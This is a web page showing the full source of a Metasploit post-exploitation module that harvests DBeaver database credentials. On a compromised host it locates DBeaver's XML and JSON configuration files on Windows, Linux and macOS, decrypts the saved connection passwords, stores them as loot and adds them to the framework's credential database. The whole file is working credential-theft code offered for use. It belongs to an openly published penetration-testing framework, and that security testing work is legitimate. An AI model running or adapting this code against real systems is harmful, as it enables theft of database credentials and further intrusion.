Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/dbeaver.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Rex::Parser::Dbeaver89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Gather Dbeaver Passwords',14'Description' => %q{15This module will determine if Dbeaver is installed on the target system and, if it is, it will try to16dump all saved session information from the target. The passwords for these saved sessions will then be decrypted17where possible.18},19'License' => MSF_LICENSE,20'References' => [21[ 'URL', 'https://blog.kali-team.cn/Metasploit-dbeaver-9f42e26241c94ba785dce5f1e69697aa' ]22],23'Author' => ['Kali-Team <kali-team[at]qq.com>'],24'Platform' => [ 'linux', 'win', 'osx', 'unix'],25'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ],26'Notes' => {27'Stability' => [],28'Reliability' => [],29'SideEffects' => []30}31)32)33register_options(34[35OptString.new('XML_FILE_PATH', [ false, 'Specifies the .dbeaver-data-sources.xml file path for Dbeaver']),36OptString.new('JSON_DIR_PATH', [ false, 'Specifies the json directory path for Dbeaver']),37]38)39end4041def print_and_save(all_result)42pw_tbl = Rex::Text::Table.new(43'Header' => 'Dbeaver Password',44'Columns' => [45'Name',46'Protocol',47'Hostname',48'Port',49'Username',50'Password',51'DB',52'URI',53'Type',54]55)56all_result.each do |item|57item.each_value do |value|58pw_tbl << value.values59next if value['user'].empty? && value['password'].empty?6061config = {62type: value['provider'],63host: value['host'],64port: value['port'],65username: value['user'],66password: value['password']67}68dbeaver_store_config(config)69end70end71if pw_tbl.rows.count > 072path = store_loot('host.dbeaver', 'text/plain', session, pw_tbl, 'dbeaver.txt', 'Dbeaver Password')73print_good("Passwords stored in: #{path}")74print_good(pw_tbl.to_s)75end76end7778def dbeaver_store_config(config)79service_data = {80address: config[:host],81port: config[:port],82service_name: config[:type],83protocol: 'tcp',84workspace_id: myworkspace_id85}8687credential_data = {88origin_type: :session,89session_id: session_db_id,90post_reference_name: refname,91private_type: :password,92private_data: config[:password],93username: config[:username]94}.merge(service_data)9596credential_core = create_credential(credential_data)9798login_data = {99core: credential_core,100status: Metasploit::Model::Login::Status::UNTRIED101}.merge(service_data)102103create_credential_login(login_data)104end105106def parse_json_dir(json_dir)107some_result = []108credentials_config = File.join(json_dir, 'credentials-config.json')109data_sources = File.join(json_dir, 'data-sources.json')110if session.platform == 'windows'111credentials_config.gsub!('/') { '\\' }112data_sources.gsub!('/') { '\\' }113end114begin115if file_exist?(credentials_config) && file_exist?(data_sources)116credentials_config_data = read_file(credentials_config) || ''117data_sources_data = read_file(data_sources) || ''118print_error('The file could not be read') if data_sources_data.empty? || credentials_config_data.empty?119credentials_config_loot_path = store_loot('dbeaver.creds', 'text/json', session, credentials_config_data, credentials_config)120data_sources_loot_path = store_loot('dbeaver.creds', 'text/json', session, data_sources_data, data_sources)121print_good("dbeaver credentials-config.json saved to #{credentials_config_loot_path}")122print_good("dbeaver data-sources.json saved to #{data_sources_loot_path}")123some_result << parse_data_sources(data_sources_data, credentials_config_data)124print_status("Finished processing #{json_dir}")125end126rescue Rex::Parser::Dbeaver::Error::DbeaverError => e127print_error("Error when parsing #{data_sources} and #{credentials_config}: #{e}")128end129return some_result130end131132def parse_xml_file(fullpath)133some_result = []134begin135if file_exist?(fullpath)136file_data = read_file(fullpath) || ''137print_error("The file #{fullpath} could not be read") if file_data.empty?138loot_path = store_loot('dbeaver.creds', 'text/xml', session, file_data, fullpath)139print_good("dbeaver .dbeaver-data-sources.xml saved to #{loot_path}")140result = parse_data_sources_xml(file_data)141if !result.empty?142some_result << result143end144print_status("Finished processing #{fullpath}")145end146rescue Rex::Parser::Dbeaver::Error::DbeaverError => e147print_error("Error when parsing #{fullpath}: #{e}")148end149return some_result150end151152def get_path153path_hash = Hash.new154xml_paths = []155case session.platform156when 'windows'157app_data = get_env('AppData')158if app_data.present?159xml_paths.push(app_data + '\DBeaverData\workspace6\General\.dbeaver-data-sources.xml')160path_hash['json'] = app_data + '\DBeaverData\workspace6\General\.dbeaver'161end162home = get_env('USERPROFILE')163if home.present?164xml_paths.push(home + '\.dbeaver4\General\.dbeaver-data-sources.xml')165end166when 'linux', 'osx', 'unix'167home = get_env('HOME')168if home.present?169xml_paths.push(home + '/.dbeaver4/General/.dbeaver-data-sources.xml')170xml_paths.push(home + '/.local/share/DBeaverData/workspace6/General/.dbeaver-data-sources.xml')171path_hash['json'] = home + '/.local/share/DBeaverData/workspace6/General/.dbeaver'172end173end174path_hash['xml'] = xml_paths175return path_hash176end177178def run179print_status('Gather Dbeaver Passwords')180all_result = []181xml_path = ''182json_path = ''183if datastore['XML_FILE_PATH'].present?184xml_path = datastore['XML_FILE_PATH']185print_status("Looking for #{xml_path}")186all_result += parse_xml_file(xml_path)187end188if datastore['JSON_DIR_PATH'].present?189json_path = datastore['JSON_DIR_PATH']190print_status("Looking for JSON files in #{json_path}")191all_result += parse_json_dir(json_path)192end193if xml_path.empty? && json_path.empty?194path_hash = get_path195xml_paths = path_hash['xml'] || []196xml_paths.each do |path|197result = parse_xml_file(path)198if !result.empty?199all_result += result200end201end202if !path_hash['json'].blank?203result = parse_json_dir(path_hash['json'])204if !result.empty?205all_result += result206end207end208end209print_and_save(all_result)210end211end212213214